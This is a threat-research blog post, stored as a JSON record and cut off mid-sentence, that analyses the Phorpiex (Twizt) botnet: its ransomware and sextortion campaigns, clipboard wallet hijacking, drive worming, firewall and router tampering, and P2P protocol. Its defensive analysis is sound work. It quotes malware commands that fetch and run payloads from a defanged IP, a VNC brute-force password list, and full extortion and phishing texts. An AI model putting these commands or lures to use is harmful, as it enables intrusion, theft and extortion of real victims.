{
	"id": "8931721c-3cd4-4033-a238-4373746a96f3",
	"created_at": "2026-05-06T02:03:02.093122Z",
	"updated_at": "2026-05-06T02:03:52.743871Z",
	"deleted_at": null,
	"sha1_hash": "bfb5010d1ae8f3db0e85f6a7d07a1f9ec4e2e375",
	"title": "Ransomware with a Twizt: Inside the Phorpiex Botnet",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 3820287,
	"plain_text": "Ransomware with a Twizt: Inside the Phorpiex Botnet\r\nBy Threat Research Team\r\nPublished: 2026-03-31 · Archived: 2026-05-06 02:01:30 UTC\r\nPhorpiex, also known as Trik, is a resilient and long-running botnet with a history dating back to 2011. While it\r\nhas grabbed some headlines, its sustained presence and adaptability make it a subject of ongoing concern for the\r\ncybersecurity community. Phorpiex has consistently demonstrated its capability to evolve, shifting from a pure\r\nspam operation to a sophisticated platform. Our research dives into the recent activities of the Phorpiex botnet\r\n(Twizt Variant), analyzing its current operational tactics, techniques and procedures (TTPs), its latest targets, and\r\nthe new payloads it is pushing into the wild. This post aims to shed light on the enduring threat the Phorpiex\r\nbotnet poses and offer insights into how organizations can better defend against it.\r\nThe Phorpiex botnet remains a highly adaptive and resilient threat, having significantly evolved its operational\r\ntactics, techniques, and procedures (TTPs):\r\nHybrid P2P resilience: Phorpiex employs a sophisticated hybrid communication model, combining\r\ntraditional C2 HTTP polling with a robust peer-to-peer (P2P) protocol over both TCP and UDP. This dual\r\narchitecture ensures exceptional resilience against C2 server takedowns, as nodes can continuously share\r\nupdated lists of active peers and new commands.\r\nEncrypted payload delivery: New payloads, whether delivered via continuous C2 polling or P2P\r\ncommand execution, are secured with a custom format featuring a 256-byte RSA-encrypted header. This\r\nmechanism requires the attacker's private key for successful encryption and execution, making it\r\nchallenging for external parties to inject or modify commands.\r\nMulti-stage monetization: The botnet’s core functionality includes continuous crypto wallet clip\r\nhijacking, which actively replaces victim clipboard data with hardcoded attacker wallets. Beyond this,\r\nPhorpiex is actively weaponized through its loader mechanism to deliver large-scale ransomware\r\ncampaigns through email and direct drops (e.g., LockBit Black, Global ransomware strain). It also takes\r\npart in high-volume sextortion email campaigns.\r\nWorm-like propagation: Phorpiex exhibits worm-like behavior by propagating through removable and\r\nremote drives via hidden executable files and deceptive .lnk shortcuts. It also propagates through the\r\ninfection of user level executable files by adding code to perform delivery on the original content.\r\nTargeted global campaigns: Recent campaigns demonstrate a clear move toward geolocated attacks,\r\nusing public APIs to target specific countries for ransomware deployment. The massive spamming\r\ncapabilities are used for both ransomware delivery and generalized sextortion scams, targeting millions of\r\nemail addresses across multiple campaigns.\r\nOngoing scale: Despite its age, the botnet maintains a significant presence, with an estimated size of\r\n70,000 to 80,000 devices and tracking over 1.7 million distinct infected IPs in the last 90 days. The high\r\nprevalence in countries like Iran, Uzbekistan, and China suggests that the crypto-clipping routine may be a\r\ndriving factor in operator profit strategy.\r\nhttps://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet\r\nPage 1 of 30\n\nThe efforts from Bitsight to track the Phorpiex environment have led to the detection of infected machines all over\r\nthe world and show just how much reach this threat has.\r\nWe are currently tracking around 125k infections on a daily average for Phorpiex. Around 70k of those represent\r\nthe P2P botnet explored here. The most affected countries are Iran, Uzbekistan, China, Kazakhstan, and Pakistan.\r\nOver the course of the last 90 days we have seen 1.7M distinct IPs that reported back with information pertaining\r\nto infected devices with Phorpiex, and 11k of those have acted as a C2 at some point in time.\r\nOn any given day there are around 300 active bots serving as a C2, which gives us a ratio of around 0.0045% that\r\na given bot is also acting as a server.\r\nIt is difficult to estimate the specific size of the botnet because while bots operate based on a 32-bit identifier, this\r\nidentifier is generated at runtime and never stored. Considering there are significant drops in activity over the\r\nweekends which indicate machines that are turned off, the identifier count would not give us convincing results.\r\nThe best indication we have is that the botnet has around 70k to 80k devices online daily.\r\nFigure 1. Phorpiex infections over the world\r\nConsidering the crypto currency theme seen within the Phorpiex botnet, it does make sense that the botnet is most\r\nprevalent in places where these currencies are mostly used for its crypto clipping routine to pay dividends.\r\nTo better understand why the numbers above matter so much, we can deep dive into another part of the tracking\r\nthat is being performed. By monitoring the files dropped by Phorpiex we can see how the botnet is being\r\nmonetized by the threat actor to deliver mass ransomware and sextortion campaigns.\r\nIt is important to say that the campaigns below highlight specific incidents but are being constantly orchestrated\r\nby the botnet and are not one-off campaigns. Phorpiex systematically performs ransomware and sextortion attacks.\r\nhttps://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet\r\nPage 2 of 30\n\nLockBit Black ransomware\r\nOn the 30th of October 2025 the botnet used its continuous polling of C2 URLs to download a generic loader\r\nfrom the Phorpiex sample.\r\nThis loader would check if the computer it was executing on was in a domain and/or if it is a Windows Server or a\r\nDomain Controller. If any of the conditions were matched, a LockBit Black sample would be dropped and\r\nexecuted on the victim's computer.\r\nFigure 2. Verification that a device is inside a domain\r\nThe LockBit Black sample shows a high level of similarity with the publicly available build found on GitHub.\r\nThis campaign highlighted the creative ways ransomware can be deployed by loaders without nuking the entire\r\nbotnet.\r\nGlobal ransomware\r\nOn the 5th of January, the threat actors launched a major ransomware campaign using a strain of ransomware that\r\nhas similarities with the Global family.\r\nThis was done in a very similar way to the LockBit Black campaign where the loader would only deploy the\r\nransomware if certain conditions on the botnet infected devices were met. This time, the loader would make use of\r\nthe public API http://ip-api.com/json/ to target only victims in China.\r\nInterestingly enough, the sample would download, at random, from one of fifteen URLs that all have different\r\nsamples of the same ransomware. This was probably done to make the different victims seem like they were hit by\r\na different campaign when in reality, all ransomware samples were distributed at the same time.\r\nhttps://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet\r\nPage 3 of 30\n\nThe samples appear to have actually been compiled at 2025-07-10 20:49:10 UTC . The ransom note left on\r\ninfected devices would be the following:\r\nNone Your network has been breached. Data has been encrypted and stolen.\r\nAll systems reachable within your environment - servers, workstations, virtual machines, and network attached st\r\nEncryption was performed using secure cryptographic methods. Restoration\r\nwithout our assistance is not possible.\r\nAttempts to recover data independently or with third-party tools may result in\r\npermanent data loss.\r\n--- RESOLUTION ---\r\nWe can provide:\r\n- A decryption tool - Clear recovery instructions\r\n- Report of how the attack was performed\r\n- Deletion of stolen data\r\n- No further attacks on your company\r\nThis offer is time limited.\r\n--- VERIFICATION ---\r\nUpon request, we will decrypt a few non-critical files to demonstrate our capability.\r\n--- NON-COMPLIANCE ---\r\nFailure to establish contact may result in: - Permanent loss of encrypted data - Additional measures, including\r\n--- COMMUNICATION ---\r\nAll communication must occur through the secure channel provided. Do not contact law enforcement or external res\r\n1. Download Tor-Browser (www.torproject.org)\r\n2. Visit URL: \u003credacted\u003e\r\n3. Enter Credentials: \u003credacted\u003e\r\n \r\nThe ransomware attack resulted in a drop of approximately 7,000 devices observed in our telemetry. This figure is\r\ncomparable to the typical daily connection volume we monitor from China (8,000) and represents about 10% of\r\nthe total devices for which we have visibility.\r\nhttps://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet\r\nPage 4 of 30\n\nA little before this we also saw the deployment of a module for Direct-to-MX email spamming, which utilizes a\r\nXOR-obfuscated URL as its Command and Control (C2) server. The message victims received would look\r\nsomething like this:\r\nFrom: Jenny Green \u003cjenny@gsd.com\u003e\r\nTo: [Recipient Email]\r\nDate: [Current System Date]\r\nSubject: Your Document\r\nHello, you can find your document in the attachment.\r\nPlease reply as soon as possible.\r\nKind regards, GSD Support.\r\n--------------------------------------------------\r\nATTACHMENT: Document.zip (Content-Type: application/zip)\r\n--------------------------------------------------\r\nEmail distribution mechanism:\r\n1. Initial Contact: The bot first queries the C2 at the path /n.txt to determine the total number of available\r\nemail lists.\r\n2. List Retrieval: This number sets the upper limit for a random selection to query the endpoint\r\n/\u003crandom_id\u003e.txt , from which it downloads a list of email addresses. Each list observed in PCAPs\r\ncontained approximately 10,000 to 11,000 email addresses.\r\n3. Payload Acquisition: The content to be sent in the email is retrieved from the server via the /a path.\r\n4. Email Format: The spammed emails use the sender \"From: Jenny Green\" and the subject Your\r\nDocument , with a zipped archive attached.\r\nThis modus operandi remains the same as with previously documented campaigns.\r\nInfection chain:\r\nThe downloaded archives contain a .lnk file disguised as a Word document named Document.doc . Executing\r\nthis .lnk file triggers a PowerShell command to download the next stage loader from the C2:\r\n/c powershell.exe ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('hxxp://178.16.54[.]109/\r\nshell32.dll\r\n%windir%\\System32\\cmd.exe\r\nFinal stage:\r\nhttps://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet\r\nPage 5 of 30\n\nThe downloaded file ( windrv.exe ) fetches and runs a ransomware that is the exact same as the Global one\r\npreviously documented.\r\nCampaign size:\r\nGiven the observed campaign sizes (e.g., 192, 486, 647 lists), and the size of the email lists, the campaigns are\r\nestimated to target a minimum of 2 million to 6 million email addresses each.\r\nCurrently, three spam campaigns have been seen with the objective of deploying ransomware.\r\nFinally, during the same campaign, a VNC scanner was deployed to target random IP addresses computed on the\r\nfly to try and connect to machines running this protocol and execute commands inside it.\r\nThe samples specifically target VNC servers with either no authentication or those using VNC Auth with weak,\r\nhardcoded passwords. The following list of passwords was used in brute-force attempts.\r\n0 1234 1234567 111111\r\n1 12345 12345678 password\r\n123 123456 123123 admin\r\na 1111 test secret\r\nUpon gaining access, the malware simulates the Windows + R key combination to open the Run dialog and\r\nexecute the following commands to download a payload ( v.exe ) from a URL and run it:\r\nUsing PowerShell:\r\ncmd.exe /c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('hxxp://178.16.54[.\r\n,'%temp%\\5335.exe');Start-Process '%temp%\\5335.exe'\u0026exit\r\nUsing BITSAdmin:\r\ncmd.exe /c bitsadmin /transfer getitman /download /priority high\r\nhxxp://178.16.54[.]109/v.exe\r\n%temp%\\89304.exe\u0026start %temp%\\89304.exe\u0026exit\r\nUsing CertUtil:\r\ncmd.exe /c certutil.exe -urlcache -f hxxp://178.16.54[.]109/v.exe\r\n%temp%\\8490.exe\u0026start %temp%\\8490.exe\u0026exit\r\nhttps://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet\r\nPage 6 of 30\n\nThe distribution of ransomware samples in this campaign was preceded by an earlier test. On November 16th, a\r\nsample highly similar to the final Global ransomware loader was deployed, containing the identical country-specific check later observed in the China attack.\r\nCrucially, this initial deployment resulted in no lost telemetry and no payloads being captured. The threat actor's\r\nobjective appeared to be an analysis of the campaign's potential impact on the botnet: the loader simply called\r\nback to the Command and Control (C2) server to determine precisely how many devices met the deployment\r\ncondition to estimate the attack surface.\r\nOn January 12th, the campaign carried on with a geolocation attack that again deployed a number of global\r\nransomware samples to the following countries:\r\nLU, CH, NO, IE, IS, QA, SG, AE, BN, US, GB, CA, FR, DK, DE, NL, AT, CY, ES, FI, IT\r\nSextortion campaign\r\nMuch like the ransomware delivery emails sent, the attacker also utilizes the same botnet and the email spammer\r\nto send sextortion messages to a number of victims.\r\nThe messages sent looks something like this:\r\nFrom: [Your Email Address]\r\nTo: [Your Email Address]\r\nSubject: I RECORDED YOU!\r\nDate: [Current Date/Timestamp]\r\nMessage-ID: \u003c[RandomID].[RandomID]@[RandomDomain].com\u003e\r\nHello there!\r\nUnfortunately, there is some bad news for you.\r\nSome time ago, your device was infected with my private trojan, R.A.T (Remote Administration Tool).\r\nIf you want to find out more about it, simply use Google.\r\nMy trojan allowed me to access your files, accounts, and your camera.\r\nCheck the sender of this email; I have sent it from your email account.\r\nTo ensure you read this email, you will receive it multiple times.\r\nhttps://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet\r\nPage 7 of 30\n\nYou truly enjoy browsing REDACTED websites and watching explicit videos while REDACTED\r\nI RECORDED YOU (through your camera) REDACTED!\r\nAfter that, I removed my malware to leave no traces.\r\nIf you still doubt my serious intentions, it only takes a couple of mouse clicks to share the video of you with\r\nAll you need is $1800 USD in Bitcoin (BTC) transferred to my account.\r\nAfter the transaction is successful, I will proceed to delete everything.\r\nI keep my promises.\r\nYou can easily buy Bitcoin (BTC) here:\r\nhxxps://cex.io/buy-bitcoins\r\nhxxps://nexo.com/buy-crypto/bitcoin-btc\r\nhxxps://bitpay.com/buy-bitcoin/?crypto=BTC\r\nhxxps://paybis.com/\r\nhxxps://invity.io/buy-crypto\r\nAlternatively, simply Google for other exchanges.\r\nAfter that, send the Bitcoin (BTC) directly to my wallet, or install the\r\nfree software: Atomic Wallet, or Exodus Wallet, then receive and send to mine.\r\nMy Bitcoin (BTC) address is: \u003cwallet Here\u003e\r\nYes, that's how the address looks, copy and paste my address, it's (cAsE-sEnSEtiVE).\r\nYou are given no more than 3 days after you have opened this email.\r\nSince I have access to this email account, I will know if this email has already been read.\r\nEverything will be carried out based on fairness.\r\nA piece of advice from me: regularly change all your passwords for your accounts and update your device with the\r\nInterestingly enough, this same message has been seen in Microsoft forums, Google forums, and others dating\r\nback to 2023. At the time of these attacks the requested amount was 1400 to 1600 dollars worth of bitcoin,\r\nhttps://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet\r\nPage 8 of 30\n\ncontrasting with the updated value of 1800 . Inflation does really get to everyone.\r\nPrevious campaigns have had moderate success with other two bitcoin addresses found to have 4 or 5 transfers of\r\nthe desired amount.\r\nConsidering the addresses used are never found in the current samples for crypto clip hijacking, the attacker\r\nprobably segregates the wallets for different purposes. Or, it can mean that the attacker rents out the botnet for\r\nsextortion campaigns.\r\nThe current analysis of the Phorpiex botnet stands, in many respects, on the shoulders of giants. This research\r\ndraws significant inspiration from the foundational work previously conducted by Check Point. Their detailed\r\nanalysis provided crucial insights into the botnet's initial communication protocols and architecture, which proved\r\ninvaluable for understanding the threat's continuing evolution.\r\nThe next sections will show the technical details of the current infection chain and what mechanisms are used to\r\ncontinuously infect new machines and persist on already infected devices. We will also look in depth at the\r\nnetwork communications performed and how the peer-2-peer protocol is set up to make the botnet resilient to C2\r\ntakeovers.\r\nDelivery\r\nThe Phorpiex malware is delivered via infected executables where the entrypoint is modified to point to a new\r\nexecutable section named .zero. Additionally, the core payload of the botnet exhibits worm-like behavior through\r\ninfected USB devices which will be covered later.\r\nFigure 3. Executable modified for Phorpiex delivery\r\nhttps://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet\r\nPage 9 of 30\n\nThis entrypoint is obfuscated using API Hashing to dynamically resolve Windows functions at runtime. It\r\nachieves this by hashing function names and comparing the results against a list of pre-calculated values.\r\nAdditionally, the sample uses Stack Strings to construct strings byte-by-byte, effectively evading static analysis\r\ntools that scan for embedded cleartext. Analysis with tools like Floss on the stack strings reveals the intent to\r\ndownload and execute another file.\r\nFigure 4. API Hashing and Stack String techniques from the delivery method\r\nExtracted Stack Strings:\r\n%appdata%\\\\\\\\\\\\\\\\windrx.txt\r\nurlmon.dll\r\n.exe\r\nhxxp://178.16.54[.]109/32.exe\r\nuser32.dll\r\n%s:Zone.Identifier\r\nkernel32.dll\r\nThe entrypoint function follows a straightforward, fail-safe execution flow: any step's failure leads immediately to\r\nthe final logic block (the \"epilogue\"). This epilogue resumes the execution of the hijacked executable file to its\r\noriginal entrypoint masking that Phorpiex was ever downloaded.\r\nThe initial action is to resolve the base address for KERNEL32.DLL by iterating over the program's module list,\r\nwhich is necessary for resolving further Windows functions. All subsequent APIs required for the download\r\nprocess are resolved using CRC32-based API Hashing.\r\nDownload Mechanism Flow\r\nThe download and execution process proceeds through the following steps:\r\nInitial Setup and Kill Switch Check:\r\nObtain kernel32.dll 's base address.\r\nhttps://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet\r\nPage 10 of 30\n\nResolve LoadLibraryExA , ExpandEnvironmentStringsW , and GetFileAttributesW .\r\nChecks for the presence of a sample-specific \"kill switch\" ( %appdata%\\\\\\\\\\\\\\windrx.txt ) file\r\nusing GetFileAttributesW . If this file is found, execution is halted; otherwise, the process\r\ncontinues. ( INVALID_FILE_ATTRIBUTES ).\r\nThis disallows the machine from being infected over and over again which is crucial as the\r\ndownload mechanism implants itself on user executable files.\r\nDownload Preparation:\r\nLoad urlmon.dll .\r\nResolve GetTempPathW and GetTempFileNameW .\r\nGenerate a temporary file name.\r\nModify the temporary file name to have a .exe extension.\r\nFile Download:\r\nResolve URLDownloadToFileW .\r\nDownload the executable from the hardcoded URL found in the stack strings.\r\nCleanup and Execution:\r\nResolve wsprintfW and DeleteFileW .\r\nDelete the associated Zone.Identifier file (which Windows uses to mark the file as downloaded\r\nfrom the internet).\r\nResolve CreateProcessW .\r\nExecute the newly downloaded file by creating a new process.\r\nLoader\r\nThe file downloaded from the delivery method through the URL hxxp://178.16.54[.]109/32.exe or\r\nhxxp://178.16.54[.]109/64.exe is a generic loader that will stage the core botnet executable.\r\nThe Phorpiex operation makes continuous usage of this generic loader executable responsible for preparing the\r\nsystem for subsequent stages. This loader is equipped with a mechanism to check for the presence of a specific\r\nfile, which serves as an indicator of a previous infection (just like the delivery mechanism). While the presence of\r\nthis file does not prevent a re-infection of the device, it does prevent the loader from generating and reporting a\r\nnew infection event back to the Command and Control (C2) server.\r\nThe malware leverages a set of standard Windows API functions for its primary tasks. Specifically, it employs\r\nfunctions like InternetReadFile , WriteFile , and CreateProcessW to manage the download and subsequent\r\nexecution of the botnet payload.\r\nShould the initial attempt using these functions prove unsuccessful, a fallback mechanism is implemented,\r\nattempting a second download using the URLDownloadToFileW function.\r\nUpon the successful compromise of the host system, the malware establishes communication with its Command\r\nand Control (C2) server. It transmits a confirmation of the successful infection via a dedicated telemetry endpoint,\r\nthereby completing the initial infection cycle.\r\nBotnet\r\nhttps://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet\r\nPage 11 of 30\n\nThe Phorpiex ecosystem's signature features are present in the core botnet sample, specifically its use of a Mutex\r\n(rather than a file) to prevent re-infection of the same device, and its deletion of its own Zone.Identifier file\r\n(This is most likely done to prevent Windows from applying its mark of the web security controls and possibly\r\nblocking execution without further user consent).\r\nFigure 5. Zone identifier file deletion \r\nPreviously seen mutexes during the infection:\r\n79o0pl7gf\r\nf33f3d33d3\r\nk8h7g6f5s5d\r\nf9r8g8p0f\r\nd8d87d7f78d\r\no9ty5e6gd\r\nr8f7g6f8d9d3d\r\nThe malware, in an effort to avoid infecting devices in Ukraine, first checks the device's locale against the value\r\nUKR . Interestingly enough, we have telemetry that indicates around 250 infected devices per day communicating\r\nfrom Ukrainian IPs.\r\nFor persistence, the sample attempts to copy itself into the %windir% , %USERPROFILE% , and %appdata%\r\ndirectories and leverages the Windows Settings autorun registry key to keep running after a reboot to the system.\r\nPreviously seen file names used for persistence:\r\nsysmrvhost.exe\r\nsysmdrhost.exe\r\nsyscfgvhost.exe\r\nsyscrovhost.exe\r\nsyscnrhost.exe\r\nsysplurbrsvc.exe\r\nsyscnvhost.exe\r\nhttps://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet\r\nPage 12 of 30\n\nThe initial action of the sample is to initialize an embedded RSA Public key, which is later used for the\r\ncommunication protocol. Following this initialization, the malware proceeds to create three separate threads using\r\nthe CreateThread API.\r\nContinuous C2 HTTP file download requests\r\nThe analyzed malware sample uses a fixed Command and Control (C2) infrastructure consisting of two specific IP\r\naddresses for downloading and executing files.\r\nThe malware attempts to retrieve information from each C2 IP by querying a predefined list of five endpoints\r\nhxxp://178[.]16[.]54[.]109/1 ( /2 , /3 , /4 , and /5 ). While the current sample only contains two C2\r\nIPs, the internal structure and other observed samples indicate the potential for more to be added, along with\r\nadditional endpoints, such as /6 and /a_ through /f_ . At the time of writing, only the initial set of five\r\nendpoints is active.\r\nThe routine employs the HTTPQueryInfoA API to enforce two conditions before a download and execution occur:\r\n1. The content length provided by the server must be greater than 5000 Bytes.\r\n2. The content length must be different from the size of the last processed download.\r\nThis mechanism ensures that the malware only proceeds if it finds a new, large payload (expected to be an MZ\r\nfile) that has not been processed previously. The data retrieved from these endpoints is in a custom format that\r\nallows the sample to perform an integrity check and subsequent decryption.\r\nThe content comes with a 256 Byte Header that is RSA encrypted and signed by a private key controlled by the\r\nattacker.\r\nhttps://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet\r\nPage 13 of 30\n\nFigure 6. Decrypted RSA Header\r\nThe header structure is as follows:\r\nFirst 8 Bytes: These bytes appear irrelevant to the code's operation and are not used. They are likely\r\npresent to ensure each header is unique, even if the core information is equal.\r\nNext 16 Bytes: These bytes serve a dual function:\r\nThey are the RC4 Key used for decrypting the subsequent payload.\r\nThey also represent the MurMur128 hash of the payload, which is used for integrity verification.\r\nRC4 Key = MurMur128(payload)\r\nNext 4 Bytes: This field specifies the size of the payload.\r\nRemaining Bytes: The rest of the header is filled with zero padding to maintain a consistent total size of\r\n256 bytes for RSA encryption.\r\nThe decryption and integrity check process involves the sample performing these steps: first decrypting the\r\nheader, then using the extracted RC4 key to decrypt the payload. Finally, it calculates the MurMur128 hash of the\r\ndecrypted payload and verifies it against the hash value, the RC4 key field.\r\nFigure 7. Continuous download logic\r\nWhat we have by the attacker is the calculation of the corresponding MurMur128 hash for the payload it wishes to\r\nsend and then the encryption of the sample using that same value and the RC4 algorithm.\r\nBased on this mechanism, it appears that without the corresponding private key, new payloads cannot be\r\nsuccessfully inserted for execution. This corresponds to the PKCS signing mechanism with murmur acting as the\r\nhttps://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet\r\nPage 14 of 30\n\nhash function. Another measure seen that protects the botnet from takeover if the C2 servers are ever lost.\r\nCrypto wallet clip hijacking\r\nThe analyzed sample is programmed to monitor and hijack clipboard content, specifically targeting\r\ncryptocurrency wallet addresses.\r\nThis function is implemented through a routine that continuously checks the clipboard for specific patterns, using\r\nsubstring matching and length criteria. If a cryptocurrency address is detected, the routine immediately replaces\r\nthe clipboard data with a hardcoded wallet address.\r\nTo facilitate this, the malware establishes a hidden window (via CreateWindowExW ) to listen for clipboard events.\r\nIt then \"injects\" itself into the clipboard viewer chain to intercept WM_DRAWCLIPBOARD events. This allows the\r\nmalware to capture and modify the clipboard's content as soon as it changes, a common technique for\r\ncryptocurrency address hijacking.\r\nCurrently the latest botnet samples are working with 88 different addresses, included in the IoC section at the\r\nend. These 88 addresses are all for different crypto currencies, some of which we can’t identify. The attacker is\r\ntrying to catch all possible crypto transactions happening on the infected machine.\r\nDriver worm-like propagation\r\nThe Phorpiex sample exhibits a worm-like behavior, propagating by continuously scanning the infected device for\r\nnew drives, specifically those designated as DRIVE_REMOVABLE or DRIVE_REMOTE .\r\nThis propagation routine is initiated by enumerating all machine drives. For each drive, the sample checks its type\r\nand generates a string that includes the drive's name and its capacity in GB.\r\nhttps://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet\r\nPage 15 of 30\n\nFigure 8. Drive enumeration logic\r\nThe steps taken to infect these drives are as follows:\r\n1. An executable file, named DrvMgr.exe in this sample, is created and placed within a hidden directory on\r\nthe drive.\r\n2. A .lnk file is created to masquerade as a standard drive file or shortcut.\r\n3. This .lnk file is configured to execute a specific command: /c start %s \u0026 start %s\\\\\\\\\\\\\\\\DrvMgr.exe .\r\nThis command is designed to launch the Phorpiex sample on any computer to which the newly infected\r\ndrive is connected if the user clicks on the .lnk file.\r\nFigure 9. Worm behavior through infected drives\r\nThe installation routine concludes by deleting specific system files and files associated with certain extensions.\r\nThe analysis of these extensions suggests the sample is actively removing competing malware and forensic\r\ninformation.\r\nDeleted Extensions:\r\n.lnk, .vbs, .js, .scr, .com, .jse, .cmd, .pif, .jar, .dll, .vbe, .bat, .inf, .ps1, .wsf, .msp,\r\n.hta\r\nDeleted System Files:\r\nThumbs.db, thumbs.db, desktop.ini, $RECYCLE.BIN, RECYCLE, RECYCLER, @Recycle, System Volume\r\nInformation, .DS_Store, $Extend, $Quota, $Volume, .Spotlight-V100, $MFT, $LogFile, $Bitmap,\r\neaDir, AppleDouble, fseventsd, Trashes, $AttrDef, @Recycle.bin\r\nFirewall bypass\r\nhttps://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet\r\nPage 16 of 30\n\nThe application employs a common technique to evade network-based security controls, specifically by\r\nmanipulating the host-based firewall. To achieve this bypass of firewall restrictions, the malicious payload\r\nprogrammatically interacts with the system's Component Object Model (COM) interfaces.\r\nIt leverages two key interfaces: NetFwMgr (Network Firewall Manager) and NetFwAuthorizedApplication . The\r\nNetFwMgr interface is used to access and manage the firewall configuration, allowing the application to then use\r\nthe NetFwAuthorizedApplication interface. This latter interface is crucial as it facilitates the addition of the\r\napplication itself to the list of programs permitted to communicate through the Windows Firewall.\r\nBy successfully adding itself as an \"authorized application,\" the malware ensures that its outgoing and potentially\r\nincoming network traffic is explicitly allowed, thereby circumventing the rules that would otherwise block its\r\ncommunication with its command-and-control (C2) infrastructure or other targets.\r\nThe rule is named \"Microsoft Corporation\". This choice is designed to masquerade as a legitimate system or\r\nvendor-specific component, allowing the rule to blend in with legitimate entries in the firewall configuration and\r\nevade detection by security analysts or system administrators during a cursory review of the firewall settings.\r\nRouter reconfiguration with UPnP\r\nThe malware attempts to reconfigure the infected computer's router, if Universal Plug and Play (UPnP) is enabled,\r\nto allow port forwarding. This configuration enables the sample to act as a server, listening for incoming\r\nconnections on a single port (The one used by this botnet and specified in the Configurations section).\r\nThe research conducted by Check Point remains accurate (For ports 40500,48755,40555), with the additional\r\ndetail that the malware now checks for the following three services after connecting with the router:\r\nurn:schemas-upnp-org:device:InternetGatewayDevice:1\r\nurn:schemas-upnp-org:device:WANDevice:1\r\nurn:schemas-upnp-org:device:WANConnectionDevice:1\r\nurn:schemas-upnp-org:service:WANIPConnection:1\r\nurn:schemas-upnp-org:service:WANPPPConnection:1\r\nBotnet P2P communication protocol\r\nThis version of Phorpiex demonstrates a significant evolution, primarily in its communication structure. The\r\nsamples come with an embedded list of nodes that will be used to kick start the communications and start getting\r\nreal time information about other nodes and possible commands being shared through this method.\r\nThe Phorpiex botnet employs a hybrid operational model, combining the traditional C2 URL communication with\r\na peer-to-peer (P2P) protocol among its nodes to enhance resilience. The malware sample is engineered for a dual\r\nfunction: it operates as both a client and a server whenever possible. This dual role ensures a continuous\r\nconnection with other peers, enabling it to reliably receive up-to-date information on active server nodes and\r\nexecution commands. However, if the sample is unable to reconfigure a router or is not running on a public-facing\r\ninterface, its functionality will be restricted to acting as a client only.\r\nhttps://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet\r\nPage 17 of 30\n\nThe research presented here confirms much of what was previously discovered by Check Point. While the\r\nmessage indicators remain consistent with Check Point's findings, our analysis suggests a slight\r\nmischaracterization of the messages' purposes in their earlier work.\r\nProtocol messages\r\nMessages are sent using a simple protocol: a 4-byte indicator specifies the length of the following message,\r\nwhich is then encrypted with RC4 . The RC4 key is hardcoded as Twizt in this sample, contrasting with the\r\ntwizt)  key noted in the Check Point research. The code allows the threat actors to change this value; however,\r\nusing a different key restricts the botnet's reach, as a node can only communicate with others sharing the same\r\nkey.\r\nThe decrypted message structure is consistent, always comprising eight fields, in the following order:\r\n1. MurmurHash3 Hash: A hash of the message content excluding this field.\r\n2. Random 32-bit Number (CryptGenRandom): A randomly generated number intended to ensure each\r\nmessage is unique, even if the main content is identical, potentially hindering detection.\r\n3. Node Identifier (32 bits): A randomly generated number used to identify the node during communication\r\nsessions. This value is either the sender's or the receiver's ID, depending on the message context.\r\n4. Message Type (4 bytes): Identifies how the node should process the message.\r\n5. \"Flag\" Field (4 bytes): A field, referred to as \"flag\" by Check Point, that appears to be related to the\r\nasynchronous nature of UDP communications.\r\n6. Payload Size (4 bytes): Indicates the size of the payload data carried by the message.\r\n7. Node Identifier (32 bits): Another randomly generated number serving as a node identifier for\r\ncommunication sessions. Similar to field 3, this is either the sending or receiving node ID.\r\n8. Payload Data (Variable Length): The actual data of the message. Its size is always equal to the value\r\nspecified in the \"Payload Size\" field and varies depending on the message type.\r\nhttps://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet\r\nPage 18 of 30\n\nFigure 10. Message diagram for the P2P Protocol\r\nBeacon message (0)\r\nThe beacon message's primary function is two-fold: to signal the presence of an infected machine to a Command\r\nand Control (C2) node/server and to serve as a standard request for a bot to share its node information. This\r\nmessage is consistently 32 bytes in length, with the message type fixed at 0 and the payload size set to 8 .\r\nDuring the initial beaconing, the second node ID field is populated with all zeros because the identity of the\r\ncommunicating node is not yet known.\r\nFigure 11. Beacon message format.\r\nInformation Sharing (1)\r\nThis message follows a beacon and is crucial for the botnet's communication, as it allows nodes to share\r\ninformation about which other nodes they can contact for command updates.\r\nThe structure of the message fields remains consistent, but the payload has a specific format.\r\nPayload Format Details:\r\nhttps://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet\r\nPage 19 of 30\n\nThe first 4 bytes indicate the number of nodes being shared.\r\nThis value appears to be consistently 16 in the code, suggesting a \"hardcoded\" limit where nodes\r\nwill not share more or less than the top 16 known nodes.\r\nThe data blocks are always separated by 4 bytes of all zeros.\r\nEach node entry is 8 bytes:\r\nThe first 4 bytes represent the node's IP address.\r\nThe remaining 4 bytes represent the time (in seconds) since the node was last seen online by that\r\npeer.\r\nWhen a successful interaction and list exchange occurs, a node's internal list is updated with the received node\r\ndetails and their last seen times. Importantly, a node does not include itself in the list it shares.\r\nFigure 12. Information sharing message format\r\nThe message structure includes a count of shared nodes. Following the node data, a different separator precedes\r\nfurther information.\r\nFor instance, the value 01000000 signifies the presence of one 256-byte buffer of RSA encrypted and signed\r\ndata. If this value were 02000000 , it would indicate two such buffers, and so on.\r\nAlong with node data, the botnet transmits command information, with each command requiring 256 bytes. The\r\nbot internally maintains a list of commands and shares all of them with other samples via this message.\r\nEssentially, the message communicates: \"I have the 16 most recently seen online nodes and X 